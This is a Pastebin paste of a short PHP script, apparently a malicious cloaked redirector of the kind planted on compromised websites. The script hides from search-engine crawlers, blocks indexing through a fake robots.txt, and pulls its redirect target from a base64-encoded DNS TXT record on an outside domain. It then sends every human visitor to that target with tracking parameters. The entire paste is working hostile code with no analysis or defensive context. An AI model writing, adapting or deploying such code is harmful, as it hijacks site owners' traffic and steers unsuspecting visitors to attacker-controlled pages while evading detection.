PalmaSolutions

aqa.php

Dec 24th, 2017
195
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. error_reporting(0);
  4.  
  5. $domain = 'n.liveupdates.host';
  6.  
  7. $browser = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
  8.  
  9. if (preg_match('/googlebot|slurp|bingbot|Baiduspider|AhrefsBot|Ezooms|MJ12bot|YandexBot|MSNBot|ia_archiver|lycos/i', $browser))
  10. {
  11. die();
  12. }
  13.  
  14. if (strpos(strtolower($_SERVER['REQUEST_URI']), 'robots.txt') > 0)
  15. {
  16. die("User-agent: *\r\nDisallow: /\r\n");
  17. }
  18.  
  19. for ($i = 0; $i < 4; $i++)
  20. {
  21. $s = dns_get_record($domain, DNS_TXT);
  22. $location = '';
  23.  
  24. if (is_array($s) && (count($s) > 0) && isset($s[0]['txt']) && strlen($s[0]['txt']))
  25. {
  26. $s = base64_decode($s[0]['txt']);
  27.  
  28. if ((strpos($s, 'http')) !== FALSE)
  29. {
  30. $location = $s;
  31. }
  32. }
  33.  
  34. if (strlen($location))
  35. break;
  36. }
  37.  
  38. if (!strlen($location))
  39. die();
  40.  
  41. if (isset($_GET['m']) && strlen($_GET['m']) > 5)
  42. {
  43. $m = 'm='.$_GET['m'].'&sub_id_1='.$_GET['m'];
  44. } else
  45. {
  46. $m = '';
  47. }
  48.  
  49. if (!strlen($m))
  50. {
  51. if (strlen(strval(key($_GET))))
  52. $m = 'sub_id_1='.strval(key($_GET));
  53. }
  54.  
  55. if (!strlen($m))
  56. {
  57. header('Location: '.$location, TRUE, 302);
  58. } else
  59. {
  60. if (strpos($location, '?') === false)
  61. header('Location: '.$location.'?'.$m, TRUE, 302);
  62. else
  63. header('Location: '.$location.'&'.$m, TRUE, 302);
  64. }
RAW Paste Data